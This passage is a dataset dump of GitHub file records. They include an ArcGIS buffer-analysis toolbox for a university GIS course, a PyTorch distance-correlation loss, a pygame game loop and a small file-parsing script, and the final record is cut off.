"text": "import arcpy\nimport os\nfrom arcpy import env\nimport shutil\n\nclass Toolbox(object):\n def __init__(self):\n \"\"\"Define the toolbox (the name of the toolbox is the name of the\n .pyt file).\"\"\"\n self.label = \"Toolbox\"\n self.alias = \"\"\n # List of tool classes associated with this toolbox\n self.tools = [BuildingProximity]\n \n \n\nclass BuildingProximity(object):\n def __init__(self):\n \"\"\"Define the tool (tool name is the name of the class).\"\"\"\n self.label = \"Building Proximity\"\n self.description = \"Determines which garages on TAMU's campus are near a targeted building\"\n self.canRunInBackground = False # Only used in ArcMap\n self.category = \"Building Tools\"\n\n \n\n def getParameterInfo(self):\n \"\"\"Define parameter definitions\"\"\"\n\n param0 = arcpy.Parameter(\n displayName=\"Campus Geodatabase\",\n name=\"cgdbpath\",\n datatype=\"DEWorkspace\",\n parameterType=\"Required\",\n direction=\"Input\",\n )\n param1 = arcpy.Parameter(\n displayName=\"ouput Geodatabase folder\",\n name=\"outgdbpath\",\n datatype=\"DEWorkspace\",\n parameterType=\"Required\",\n direction=\"Input\",\n )\n param2 = arcpy.Parameter(\n displayName=\"output Geodatabase name\",\n name=\"gdbname\",\n datatype=\"GPString\",\n parameterType=\"Required\",\n direction=\"Input\",\n )\n param3 = arcpy.Parameter(\n displayName=\"folder containing garages csv\",\n name=\"garagecsv\",\n datatype=\"DEWorkspace\",\n parameterType=\"Required\",\n direction=\"Input\",\n )\n param4 = arcpy.Parameter(\n displayName=\"Garage Name\",\n name=\"buildingNumber\",\n datatype=\"GPString\",\n parameterType=\"Required\",\n direction=\"Input\"\n )\n param5 = arcpy.Parameter(\n displayName=\"Buffer radius\",\n name=\"bufferRadius\",\n datatype=\"GPDouble\",\n parameterType=\"Required\",\n direction=\"Input\"\n )\n param5.filter.type = \"Range\"\n param5.filter.list = [10, 100]\n\n params = [param0, param1, param2, param3, param4, param5]\n return params\n \n \"\"\"\n def updateParameters(self, parameters):\n # Set the default distance threshold to 1/100 of the larger of the width\n # or height of the extent of the input features. Do not set if there is no \n # input dataset yet, or the user has set a specific distance (Altered is true).\n #\n if parameters[0].valueAsText:\n if not parameters[6].altered:\n extent = arcpy.Describe(parameters[0]).extent\n if extent.width > extent.height:\n parameters[6].value = extent.width / 100\n else:\n parameters[6].value = extent.height / 100\n\n return\n \"\"\"\n def execute(self, parameters, messages):\n\n #set your variables\n workspace1 = r\"C:\\Users\\trejimmy5562\\Documents\\DevSource\\GISDev\\topic\\05\"\n workspace2 = parameters[0].valueAsText # campus gdb\n workspace3 = parameters[1].valueAsText # folder to put gdb in\n tempWorkspace = os.path.join(workspace1, 'scratch')\n gdbName_input = parameters[2].valueAsText + '.gdb'\n outLoc = os.path.join(workspace3, gdbName_input) #output gdb \n garage2 = parameters[3].valueAsText #garages csv file\n file2 = 'garages.csv'\n garage1 = os.path.join(garage2, file2)\n gg = os.path.join(tempWorkspace, 'garages')\n g77 = os.path.join(outLoc, 'garages')\n ss = os.path.join(outLoc, \"Structures\")\n\n #set environment\n arcpy.env.workspace = workspace1\n\n #create Geodatabase\n if arcpy.Exists(outLoc):\n pass\n else:\n arcpy.CreateFileGDB_management(workspace3, gdbName_input)\n\n #turn the csv into XY feature class\n g1 = arcpy.management.MakeXYEventLayer(file2, 'X', 'Y', 'garages')\n g2 = arcpy.CopyFeatures_management(g1, os.path.join(tempWorkspace, 'garages'))\n #convert table to geodatabase\n arcpy.FeatureClassToGeodatabase_conversion(g2, outLoc)\n\n #change workspace\n arcpy.env.workspace = workspace2\n #copy the structures feature class to the new database\n arcpy.CopyFeatures_management(\"Structures\", ss)\n #input buffer distance, input garage name\n bldgNum_input = parameters[4].valueAsText\n buffer_dist = int(parameters[5].value)\n\n # generate where_clause\n where_1 = \"Name = '%s'\" % bldgNum_input\n #print(where_1)\n # check if building exists\n cursor = arcpy.SearchCursor(g77, where_clause=where_1)\n proceed = False\n #iterate through rows to find the bldg # equal to our input, go on if found\n for row in cursor:\n if row.getValue(\"Name\") == bldgNum_input:\n proceed = True\n\n # check if we should proceed, do buffer if yes\n if proceed:\n #perform buffer analysis\n arcpy.env.workspace = outLoc\n # generate the name for buffer layer\n buildingBuff = \"building_%s_buffed_%s\" % (bldgNum_input, buffer_dist)\n buffer12 = os.path.join(outLoc, buildingBuff)\n # Get reference to building\n buildingFeature = arcpy.Select_analysis(g77, outLoc + \"/building_%s\" % (bldgNum_input), where_1)\n \n arcpy.Buffer_analysis(g77, buffer12, buffer_dist)\n #find intersections with buffer\n # Clip the structures to our buffered feature\n #in2 = arcpy.Intersect_analysis([buffer12, ss], os.path.join(outLoc, 'intersection'), 'ALL')\n in3 = arcpy.Clip_analysis(ss, outLoc + '\\\\' + buildingBuff, outLoc + \"/clip_%s\" % (bldgNum_input))\n # Remove the feature class we just created\n arcpy.Delete_management(outLoc + \"/building_%s\" % (bldgNum_input))\n\n arcpy.TableToTable_conversion(outLoc + \"/clip_%s\" % (bldgNum_input), workspace1, 'intersection.csv')\n shutil.rmtree(os.path.join(workspace1, \"scratch\"))\n os.mkdir(os.path.join(workspace1, \"scratch\"))\n # os.remove(os.path.join(workspace1, \"intersection.csv\"))\n # os.remove(os.path.join(workspace1, \"intersection.txt.xml\"))\n #print(\"Success!\")\n else:\n print(\"Seems we couldn't find the building you entered\")\n return None\n \n\n\n\n"
},
{
"alpha_fraction": 0.6349206566810608,
"alphanum_fraction": 0.7777777910232544,
"avg_line_length": 30.5,
"blob_id": "762bdeac33fe50582bc13639d35b2ef6cde4ce63",
"content_id": "4cf56ca14585d1b195b28e7b80632c0c7e915bdc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 63,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 2,
"path": "/tool/README.md",
"repo_name": "trejimmy5562/arcGISBufferToolbox",
"src_encoding": "UTF-8",
"text": "# GEOG-392-502\nA repo for submitting homeworks and labs to 392\n"
},
{
"alpha_fraction": 0.7096273303031921,
"alphanum_fraction": 0.7270962595939636,
"avg_line_length": 34.27397155761719,
"blob_id": "e7dcf641014be77e8d917c1bbe5d5941f236d0a9",
"content_id": "f4ae3b7910cc61c5a2e99803558528f3924a45f3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2576,
"license_type": "no_license",
"max_line_length": 102,
"num_lines": 73,
"path": "/tool/Lab5_pt1.py",
"repo_name": "trejimmy5562/arcGISBufferToolbox",
"src_encoding": "UTF-8",
"text": "import arcpy\nimport os\nfrom arcpy import env\n\n#set your variables\nworkspace1 = r\"C:\\Users\\trejimmy5562\\Documents\\DevSource\\GISDev\\topic\\05\"\nworkspace2 = os.path.join(workspace1, 'Campus.gdb')\ntempWorkspace = os.path.join(workspace1, 'scratch')\nfile2 = 'garages.csv'\noutLoc = os.path.join(workspace1, 'Lab5.gdb')\ngg = os.path.join(tempWorkspace, 'garages')\ng77 = os.path.join(outLoc, 'garages')\nss = os.path.join(outLoc, \"Structures\")\n\n#set environment\narcpy.env.workspace = workspace1\n\n#create Geodatabase\nif arcpy.Exists(outLoc):\n pass\nelse:\n arcpy.CreateFileGDB_management(workspace1, 'Lab5.gdb')\n\n\n#turn the csv into XY feature class\ng1 = arcpy.management.MakeXYEventLayer(file2, 'X', 'Y', 'garages')\ng2 = arcpy.CopyFeatures_management(g1, os.path.join(tempWorkspace, 'garages'))\n#convert table to geodatabase\narcpy.FeatureClassToGeodatabase_conversion(g2, outLoc)\n\n#change workspace\narcpy.env.workspace = workspace2\n\n#copy the structures feature class to the lab5 database\narcpy.CopyFeatures_management(\"Structures\", ss)\n#input buffer distance, input garage name\nbldgNum_input = input(\"Please enter a garage name: \")\nbuffer_dist = int(input(\"input buffer distance in Meters: \"))\n\n# generate where_clause\nwhere_1 = \"Name = '%s'\" % bldgNum_input\nprint(where_1)\n# check if building exists\ncursor = arcpy.SearchCursor(g77, where_clause=where_1)\nproceed = False\n#iterate through rows to find the bldg # equal to our input, go on if found\nfor row in cursor:\n if row.getValue(\"Name\") == bldgNum_input:\n proceed = True\n\n# check if we should proceed, do buffer if yes\nif proceed:\n #perform buffer analysis\n arcpy.env.workspace = outLoc\n # generate the name for buffer layer\n buildingBuff = \"building_%s_buffed_%s\" % (bldgNum_input, buffer_dist)\n buffer12 = os.path.join(outLoc, buildingBuff)\n # Get reference to building\n buildingFeature = arcpy.Select_analysis(g77, outLoc + \"/building_%s\" % (bldgNum_input), where_1)\n \n\n arcpy.Buffer_analysis(g77, buffer12, buffer_dist)\n #find intersections with buffer\n # Clip the structures to our buffered feature\n #in2 = arcpy.Intersect_analysis([buffer12, ss], os.path.join(outLoc, 'intersection'), 'ALL')\n in3 = arcpy.Clip_analysis(ss, outLoc + '\\\\' + buildingBuff, outLoc + \"/clip_%s\" % (bldgNum_input))\n # Remove the feature class we just created\n arcpy.Delete_management(outLoc + \"/building_%s\" % (bldgNum_input))\n\n arcpy.TableToTable_conversion (in3, workspace1, 'intersection.csv')\n print(\"Success!\")\nelse:\n print(\"Seems we couldn't find the garage you entered\")\n\n"
}
] | 5 |
xLoveGame/test | https://github.com/xLoveGame/test | f62d05667406d83e400b1896ffb684ab78dbb32a | ba1a65777ff3be9dc5233f57b78215dbbc0dcb2a | d2ecc33c47cfbea582e5446a4e9a254f70d5b497 | refs/heads/master | 2020-04-22T10:41:39.432186 | 2019-02-12T12:26:45 | 2019-02-12T12:26:45 | 170,313,456 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.782608687877655,
"alphanum_fraction": 0.782608687877655,
"avg_line_length": 6.666666507720947,
"blob_id": "8d9a5fcb7e37b664412c803eee50ab397820ac54",
"content_id": "4b80034ab61910e4af34c03a63f432274e0d201e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 51,
"license_type": "no_license",
"max_line_length": 9,
"num_lines": 3,
"path": "/README.md",
"repo_name": "xLoveGame/test",
"src_encoding": "UTF-8",
"text": "# test\n学习的仓库\n用来测试外星人大战\n"
},
{
"alpha_fraction": 0.6482353210449219,
"alphanum_fraction": 0.6482353210449219,
"avg_line_length": 24.5,
"blob_id": "74da4304247a59da2d106dc3b661564b1d61fc59",
"content_id": "46e9c626a38d2e511c84717725f9c4da5c4e2ce8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 990,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 32,
"path": "/alien_invasion.py",
"repo_name": "xLoveGame/test",
"src_encoding": "UTF-8",
"text": "import pygame\r\nfrom settings import Settings\r\nfrom ship import Ship\r\nfrom pygame.sprite import Group\r\nimport game_functions as gf\r\nfrom alien import Alien\r\n\r\n\r\ndef run_game():\r\n \"\"\"初始化并创建pygame对象\"\"\"\r\n pygame.init()\r\n # 实例化settings类\r\n ai_setting = Settings()\r\n # 创建一个名为screen的画板\r\n screen = pygame.display.set_mode((ai_setting.screen_width, ai_setting.screen_height))\r\n pygame.display.set_caption(\"大战外星人\")\r\n # 实例化ship类\r\n ship = Ship(ai_setting, screen)\r\n # 创建用于存储子弹的编组\r\n bullets = Group()\r\n # 创建一个外星人\r\n alien = Alien(ai_setting, screen)\r\n\r\n while True:\r\n gf.check_event(ai_setting, screen, ship, bullets)\r\n ship.update()\r\n # 调用bullets的update()之后,会分别调用各个对象的update()函数\r\n gf.update_bullet(bullets)\r\n gf.update_screen(ai_setting, screen, ship, alien, bullets)\r\n\r\n\r\nrun_game()\r\n\r\n"
}
] | 2 |
bipoppy-hub/facebookcrawl | https://github.com/bipoppy-hub/facebookcrawl | a18b55db762296c370e03f2b61b98dc3fe8827e4 | 7beb300653270a079c034f02623beaad54390a3f | a186f369e8a74e412c61ba8af9b6ec1dca9f83a5 | refs/heads/main | 2023-06-13T22:31:45.792072 | 2021-07-02T16:57:59 | 2021-07-02T16:57:59 | 370,143,498 | 0 | 1 | null | 2021-05-23T19:45:30 | 2021-05-23T19:46:43 | 2021-07-02T00:40:32 | Python | [
{
"alpha_fraction": 0.7925801277160645,
"alphanum_fraction": 0.7993254661560059,
"avg_line_length": 52.90909194946289,
"blob_id": "54355dc1aa7f7993647864331abade0e95493493",
"content_id": "68de64206c3a25aa1cc991c5609e0136422400e4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 593,
"license_type": "no_license",
"max_line_length": 158,
"num_lines": 11,
"path": "/README.md",
"repo_name": "bipoppy-hub/facebookcrawl",
"src_encoding": "UTF-8",
"text": "# [Facebookcrawl] Python Script for Crawling Facebook Posts, Comments, Replies and Likes\n\n## Prerequisites\nPython 3.0 or later versions; MySQL 5.0 or later versions.\n\n## Become a Facebook App Developer\nYou need to become a Facebook application developer before you start coding. Navigate to the link [here](https://developers.facebook.com/docs/development)<br>\nand follow the instructions to register your account as an App Developer.\n\n## Create a new application\nOnce you have become a Facebook developer, you can create a new Facebook application through the Facebook App Developer website.\n"
},
{
"alpha_fraction": 0.5527945160865784,
"alphanum_fraction": 0.5563329458236694,
"avg_line_length": 33.939308166503906,
"blob_id": "dc4771410290d411756c071e33d9260aa48a59b6",
"content_id": "999fdf5d91f85c1253e41f0aa447aa5ca64cdbc1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 12435,
"license_type": "no_license",
"max_line_length": 134,
"num_lines": 346,
"path": "/FBPostsEngine_v2.py",
"repo_name": "bipoppy-hub/facebookcrawl",
"src_encoding": "UTF-8",
"text": "import urllib.request, urllib.error, urllib.parse\r\nimport json\r\nimport mysql.connector\r\nimport datetime\r\n\r\ndef connect_db():\r\n # fill this out with your db connection info\r\n connection = mysql.connector.connect(user='youruser', password='yourpwd', host='yourhost', database='yourdb', use_unicode=True)\r\n return connection\r\n\r\ndef create_page_url(company, APP_ID, APP_SECRET):\r\n # create authenticated post URL\r\n page_args = \"/?key=value&access_token=\" + APP_ID + \"|\" + APP_SECRET\r\n page_url = company + page_args\r\n\r\n return page_url\r\n\r\ndef create_post_url(graph_url, APP_ID, APP_SECRET):\r\n # create authenticated post URL\r\n post_args = \"/posts/?key=value&access_token=\" + APP_ID + \"|\" + APP_SECRET\r\n post_url = graph_url + post_args\r\n\r\n return post_url\r\n\r\n\r\ndef render_to_json(graph_url):\r\n # render graph url call to JSON\r\n web_response = urllib.request.urlopen(graph_url)\r\n readable_page = web_response.read()\r\n # json_data = json.loads(readable_page)\r\n json_data = json.loads(readable_page.decode('utf-8'))\r\n\r\n return json_data\r\n\r\n\r\ndef scrape_posts_by_date(graph_url, date, post_data, APP_ID, APP_SECRET):\r\n # render URL to JSON\r\n page_posts = render_to_json(graph_url)\r\n\r\n # extract next page\r\n # To get the link for next page\r\n if \"paging\" in list(page_posts.keys()):\r\n if \"next\" in list(page_posts[\"paging\"].keys()):\r\n # Setting the next page url\r\n next_page = page_posts[\"paging\"][\"next\"]\r\n print(next_page)\r\n else:\r\n next_page = \"\"\r\n else:\r\n next_page = \"\"\r\n\r\n # grab all posts\r\n page_posts = page_posts[\"data\"]\r\n\r\n # boolean to tell us when to stop collecting\r\n collecting = True\r\n\r\n # for each post capture data\r\n for post in page_posts:\r\n # likes_count = get_likes_count(page_posts[\"id\"], APP_ID, APP_SECRET)\r\n likes_count = \"\"\r\n if \"message\" in list(post.keys()):\r\n message = post[\"message\"]\r\n else:\r\n message = \"\"\r\n\r\n if \"story\" in list(post.keys()):\r\n story = post[\"story\"]\r\n else:\r\n story = \"\"\r\n\r\n creator_data = get_posts_creator(post[\"id\"], APP_ID, APP_SECRET)\r\n current_post = [post[\"id\"], message, story, likes_count, post[\"created_time\"],creator_data[0],creator_data[1]]\r\n print((\"post create time \" + str(current_post[4])))\r\n\r\n if current_post[1] != \"error\":\r\n if date <= current_post[4]:\r\n post_data.append(current_post)\r\n\r\n\r\n elif date > current_post[4]:\r\n print(\"No more new data\")\r\n collecting = False\r\n break\r\n\r\n\r\n # If we still don't meet date requirements, run on next page\r\n if collecting == True:\r\n if next_page != \"\":\r\n scrape_posts_by_date(next_page, date, post_data, APP_ID, APP_SECRET)\r\n return post_data\r\n\r\ndef get_posts_creator(post_id, APP_ID, APP_SECRET):\r\n # create Graph API Call\r\n # ? how to get total counts\r\n graph_url = \"https://graph.facebook.com/\"\r\n creator_args = post_id + \"/?fields=from&access_token=\" + APP_ID + \"|\" + APP_SECRET\r\n creator_url = graph_url + creator_args\r\n\r\n try:\r\n creator_json = render_to_json(creator_url)\r\n # extract creator information\r\n creator = [creator_json[\"from\"][\"name\"],creator_json[\"from\"][\"id\"]]\r\n except urllib.error.HTTPError:\r\n creator = [\"error\",\"error\"]\r\n\r\n return creator\r\n\r\n\r\ndef get_likes_count(post_id, APP_ID, APP_SECRET):\r\n # create Graph API Call\r\n # ? how to get total counts\r\n graph_url = \"https://graph.facebook.com/\"\r\n likes_args = post_id + \"/?fields=likes&summary=true&access_token=\" + APP_ID + \"|\" + APP_SECRET\r\n likes_url = graph_url + likes_args\r\n likes_json = render_to_json(likes_url)\r\n\r\n # pick out the likes count\r\n count_likes = likes_json[\"summary\"][\"total_count\"]\r\n\r\n return count_likes\r\n\r\n\r\ndef create_comments_url(graph_url, post_id, APP_ID, APP_SECRET):\r\n # create Graph API Call\r\n comments_args = str(post_id) + \"/comments/?key=value&access_token=\" + APP_ID + \"|\" + APP_SECRET\r\n comments_url = graph_url + comments_args\r\n # print comments_url\r\n return comments_url\r\n\r\n\r\ndef get_comments_data(comments_url, comment_data, post_id):\r\n # render URL to JSON\r\n try:\r\n comments = render_to_json(comments_url)[\"data\"]\r\n except urllib.error.HTTPError:\r\n return None\r\n \r\n \r\n # for each comment capture data\r\n for comment in comments:\r\n current_comments = []\r\n current_comments = [comment[\"id\"], comment[\"message\"], comment[\"from\"][\"name\"],\r\n comment[\"from\"][\"id\"],comment[\"created_time\"], post_id]\r\n print(current_comments)\r\n print((\"comments from \" + current_comments[2]))\r\n comment_data.append(current_comments)\r\n\r\n # check if there is another page\r\n try:\r\n # extract next page\r\n next_page = comments[\"paging\"][\"next\"]\r\n except Exception:\r\n next_page = None\r\n\r\n\r\n # if we have another page, recurse\r\n if next_page is not None:\r\n get_comments_data(next_page, comment_data, post_id)\r\n else:\r\n return comment_data\r\n\r\ndef create_likes_url(graph_url, post_id, APP_ID, APP_SECRET):\r\n # create Graph API Call\r\n likes_args = post_id + \"/likes/?key=value&access_token=\" + APP_ID + \"|\" + APP_SECRET\r\n likes_url = graph_url + likes_args\r\n # print likes_url\r\n return likes_url\r\n\r\ndef get_likes_data(likes_url, like_data, post_id):\r\n # render URL to JSON\r\n try:\r\n likes = render_to_json(likes_url)[\"data\"]\r\n except urllib.error.HTTPError:\r\n return None\r\n\r\n # for each comment capture data\r\n for like in likes:\r\n\r\n # current_likes = [like[\"id\"].encode('utf-8'),like[\"name\"].encode('utf-8'), post_id]\r\n # the json file does not provide names\r\n current_likes = [like[\"id\"], post_id]\r\n print((\"liking from \" + str(current_likes[0])))\r\n like_data.append(current_likes)\r\n\r\n # check if there is another page\r\n try:\r\n # extract next page\r\n next_page = likes[\"paging\"][\"next\"]\r\n except Exception:\r\n next_page = None\r\n\r\n\r\n # if we have another page, recurse\r\n if next_page is not None:\r\n get_likes_data(next_page, like_data, post_id)\r\n else:\r\n return like_data\r\n\r\n\r\ndef main():\r\n # simple data pull App Secret and App ID\r\n APP_SECRET = \"your APP_SECRET\"\r\n APP_ID = \"your APP_ID\"\r\n\r\n # to find go to page's FB page, at the end of URL find username\r\n # e.g. http://facebook.com/walmart, walmart is the username\r\n list_companies = [\"McDonaldsUS\", \"Starbucks\", \"applebees\", \"Macys\", \"target\", \"lowes\"]\r\n graph_url = \"https://graph.facebook.com/\"\r\n\r\n\r\n # the time of last crawl: we go back 4000 days to crawl everything from the beginning. Facebook was founded in 2007\r\n nowtimestamp = datetime.datetime.now()\r\n last_crawl = datetime.datetime.now() - datetime.timedelta(days=120) #since Jan-1-2014 #400 each time\r\n last_crawl = last_crawl.isoformat()\r\n\r\n # create db connection\r\n connection = connect_db()\r\n cursor = connection.cursor()\r\n\r\n # SQL statement for adding Facebook page data to database\r\n insert_info = (\"INSERT INTO page_info \"\r\n \"(fb_id, name, time_collected)\"\r\n \"VALUES (%s, %s, %s)\")\r\n\r\n insert_posts = (\"INSERT INTO post_info \"\r\n \"(fb_post_id, message, story, likes_count, time_created, from_name, from_id, post_type, page_id)\"\r\n \"VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\")\r\n\r\n # SQL statement for adding the likers list of current post\r\n insert_likes = (\"INSERT INTO like_info \"\r\n \"(fb_liker_id, liked_id, like_type, page_id)\"\r\n \"VALUES (%s, %s, %s, %s)\")\r\n\r\n # SQL statement for adding comment data\r\n insert_comments = (\"INSERT INTO comment_info \"\r\n \"(fb_comment_id, message, from_name, from_id, time_created, post_id, page_id)\"\r\n \"VALUES (%s, %s, %s, %s, %s, %s, %s)\")\r\n\r\n # SQL statement for adding reply data\r\n insert_replys = (\"INSERT INTO reply_info \"\r\n \"(fb_reply_id, message, from_name, from_id, time_created, comment_id, page_id)\"\r\n \"VALUES (%s, %s, %s, %s, %s, %s, %s)\")\r\n\r\n for company in list_companies:\r\n # make graph api url with company username\r\n current_page = graph_url + company\r\n page_url = create_page_url(current_page, APP_ID, APP_SECRET)\r\n print((\"########### \" + company + \" ##############\"))\r\n # open public page in facebook graph api\r\n json_fbpage = render_to_json(page_url)\r\n\r\n\r\n # gather our page level JSON Data\r\n page_id = json_fbpage[\"id\"]\r\n page_data = [page_id,json_fbpage[\"name\"]]\r\n\r\n\r\n # extract post data\r\n post_url = create_post_url(current_page, APP_ID, APP_SECRET)\r\n print(post_url)\r\n\r\n post_data = []\r\n post_data = scrape_posts_by_date(post_url, last_crawl, post_data, APP_ID, APP_SECRET)\r\n\r\n\r\n # insert the data we pulled into db\r\n page_data.append(nowtimestamp)\r\n cursor.execute(insert_info, page_data)\r\n\r\n # grab primary key\r\n last_key = cursor.lastrowid\r\n\r\n\r\n # loop through and insert data\r\n for post in post_data:\r\n if post[6] == page_id: # if the post creator is the company\r\n post.append(1) # assign post_type = 1 for company posts; post_type = 2 for posts\r\n else: \r\n post.append(2)\r\n \r\n post.append(last_key)\r\n cursor.execute(insert_posts, post)\r\n\r\n # capture post id of data just inserted\r\n post_key = cursor.lastrowid\r\n print(\"this is the key \" + str(post_key))\r\n\r\n # insert liker list\r\n like_data = []\r\n likes_url = create_likes_url(graph_url, post[0], APP_ID, APP_SECRET)\r\n print(\"like url \" + likes_url)\r\n likes = get_likes_data(likes_url, like_data, post_key)\r\n\r\n if likes is not None:\r\n for like in likes:\r\n like.append(1) # like of post is type 1 liking\r\n like.append(last_key)\r\n cursor.execute(insert_likes,like)\r\n\r\n # insert comments\r\n comment_data = []\r\n comment_url = create_comments_url(graph_url, post[0], APP_ID, APP_SECRET)\r\n comments = get_comments_data(comment_url, comment_data, post_key)\r\n\r\n if comments is not None:\r\n for comment in comments:\r\n comment.append(last_key)\r\n cursor.execute(insert_comments, comment)\r\n \r\n # capture comment id of data just inserted\r\n comment_key = cursor.lastrowid\r\n \r\n # capture comment likes\r\n commentlike_data = []\r\n comment_like_url = create_likes_url(graph_url, comment[0], APP_ID, APP_SECRET) \r\n commentlikes = get_likes_data(comment_like_url, commentlike_data, comment_key)\r\n \r\n # insert replys\r\n if commentlikes is not None:\r\n for commentlike in commentlikes:\r\n commentlike.append(2) # like of comments is type 2 liking\r\n commentlike.append(last_key)\r\n cursor.execute(insert_likes,commentlike) \r\n \r\n # capture replies\r\n print(\"get replies for comment \" + str(comment[0]))\r\n reply_url = create_comments_url(graph_url, comment[0], APP_ID, APP_SECRET)\r\n print(\"url for reply \" + reply_url)\r\n reply_data = []\r\n replys = get_comments_data(reply_url, reply_data, comment_key)\r\n \r\n # insert replys\r\n if replys is not None:\r\n for reply in replys:\r\n reply.append(last_key)\r\n cursor.execute(insert_replys, reply)\r\n\r\n # commit the data to the db\r\n connection.commit()\r\n\r\n connection.close()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n"
}
] | 2 |
SmartiTco/hcanko | https://github.com/SmartiTco/hcanko | 0fbf1e55ff6881b7c35b6ae84be67bb0ade9efb5 | 151c90ed4999b79d7717d712e7d778c6a360f7a8 | 37a250861bbb1c3bf1d5dae9cb5e17b7fd42e767 | refs/heads/master | 2021-01-25T12:30:30.708138 | 2018-03-01T19:29:51 | 2018-03-01T19:29:51 | 123,474,982 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5264116525650024,
"alphanum_fraction": 0.5391620993614197,
"avg_line_length": 25.14285659790039,
"blob_id": "b27b8820077f102310f584920b06869d6e08f672",
"content_id": "5a899ed088a65b3e797131b4c40c7472a7dd9695",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 551,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 21,
"path": "/input.py",
"repo_name": "SmartiTco/hcanko",
"src_encoding": "UTF-8",
"text": "import os\nos.chdir(\"C:/Users/Stéphan Christian/Desktop\")\n\nwith open(\"a_example.in\", \"r\") as data:\n for line in range(1):\n int_number = data.readline()\n list_int_nbr = int_number.split()\n\n R = int(list_int_nbr[0])\n C = int(list_int_nbr[1])\n F = int(list_int_nbr[2])\n N = int(list_int_nbr[3])\n B = int(list_int_nbr[4])\n T = int(list_int_nbr[5])\n\n data_set = []\n données = data.readlines()\n for line in données:\n entier = line.split()\n data_set.append(entier)\n print (data_set)\n"
}
] | 1 |
gkasieczka/DisCo | https://github.com/gkasieczka/DisCo | dbead3efe0116d63cff8a7c4259752688714671c | efdcda00ecdafffba61dd86b9404c6100eeb56f1 | f2525043c0a8d02ff738b27a89e1b0217f94deda | refs/heads/master | 2021-07-05T19:20:32.510762 | 2020-01-16T16:52:21 | 2020-01-16T16:52:21 | 203,333,206 | 9 | 2 | null | 2019-08-20T08:27:23 | 2020-08-17T08:27:09 | 2020-01-16T16:52:22 | Python | [
{
"alpha_fraction": 0.7434782385826111,
"alphanum_fraction": 0.782608687877655,
"avg_line_length": 45,
"blob_id": "d91f71f6acae168fdb9082529199d8883c76ef26",
"content_id": "f4d890b7dbe66980177d45be1572641c71b7149a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 230,
"license_type": "no_license",
"max_line_length": 146,
"num_lines": 5,
"path": "/README.md",
"repo_name": "gkasieczka/DisCo",
"src_encoding": "UTF-8",
"text": "# DisCo\n\nThis is the code repository for distance correlation (DisCo) for decorrelation in ML training. See [https://arxiv.org/abs/2001.05310] for details.\n\nDisco.py has the implementation for PyTorch, Disco_tf.py for tensorflow.\n"
},
{
"alpha_fraction": 0.6323971748352051,
"alphanum_fraction": 0.6629889607429504,
"avg_line_length": 44.272727966308594,
"blob_id": "49e8131633943e26f511babc5a4686ac3ed07515",
"content_id": "6f43d2084dd07eecf942de896fcb0e50b766bb21",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1994,
"license_type": "no_license",
"max_line_length": 131,
"num_lines": 44,
"path": "/Disco.py",
"repo_name": "gkasieczka/DisCo",
"src_encoding": "UTF-8",
"text": "import torch\n\ndef distance_corr(var_1,var_2,normedweight,power=1):\n \"\"\"var_1: First variable to decorrelate (eg mass)\n var_2: Second variable to decorrelate (eg classifier output)\n normedweight: Per-example weight. Sum of weights should add up to N (where N is the number of examples)\n power: Exponent used in calculating the distance correlation\n \n va1_1, var_2 and normedweight should all be 1D torch tensors with the same number of entries\n \n Usage: Add to your loss function. total_loss = BCE_loss + lambda * distance_corr\n \"\"\"\n \n \n xx = var_1.view(-1, 1).repeat(1, len(var_1)).view(len(var_1),len(var_1))\n yy = var_1.repeat(len(var_1),1).view(len(var_1),len(var_1))\n amat = (xx-yy).abs()\n\n xx = var_2.view(-1, 1).repeat(1, len(var_2)).view(len(var_2),len(var_2))\n yy = var_2.repeat(len(var_2),1).view(len(var_2),len(var_2))\n bmat = (xx-yy).abs()\n\n amatavg = torch.mean(amat*normedweight,dim=1)\n Amat=amat-amatavg.repeat(len(var_1),1).view(len(var_1),len(var_1))\\\n -amatavg.view(-1, 1).repeat(1, len(var_1)).view(len(var_1),len(var_1))\\\n +torch.mean(amatavg*normedweight)\n\n bmatavg = torch.mean(bmat*normedweight,dim=1)\n Bmat=bmat-bmatavg.repeat(len(var_2),1).view(len(var_2),len(var_2))\\\n -bmatavg.view(-1, 1).repeat(1, len(var_2)).view(len(var_2),len(var_2))\\\n +torch.mean(bmatavg*normedweight)\n\n ABavg = torch.mean(Amat*Bmat*normedweight,dim=1)\n AAavg = torch.mean(Amat*Amat*normedweight,dim=1)\n BBavg = torch.mean(Bmat*Bmat*normedweight,dim=1)\n\n if(power==1):\n dCorr=(torch.mean(ABavg*normedweight))/torch.sqrt((torch.mean(AAavg*normedweight)*torch.mean(BBavg*normedweight)))\n elif(power==2):\n dCorr=(torch.mean(ABavg*normedweight))**2/(torch.mean(AAavg*normedweight)*torch.mean(BBavg*normedweight))\n else:\n dCorr=((torch.mean(ABavg*normedweight))/torch.sqrt((torch.mean(AAavg*normedweight)*torch.mean(BBavg*normedweight))))**power\n \n return dCorr\n\n\n"
}
] | 2 |
bianXiaoTuan/SRE_Calendar | https://github.com/bianXiaoTuan/SRE_Calendar | c904cec5735fdef28267135e31add4080cebd182 | fe2509e4325ed3956ff9c5079009e271a43a9e9e | 738e9450201d9c2838004577bb8dbdf82c850f31 | refs/heads/master | 2019-07-28T15:58:22.000810 | 2015-11-17T08:16:41 | 2015-11-17T08:16:41 | 39,303,164 | 2 | 1 | null | null | null | null | null | [
{
"alpha_fraction": 0.5339390635490417,
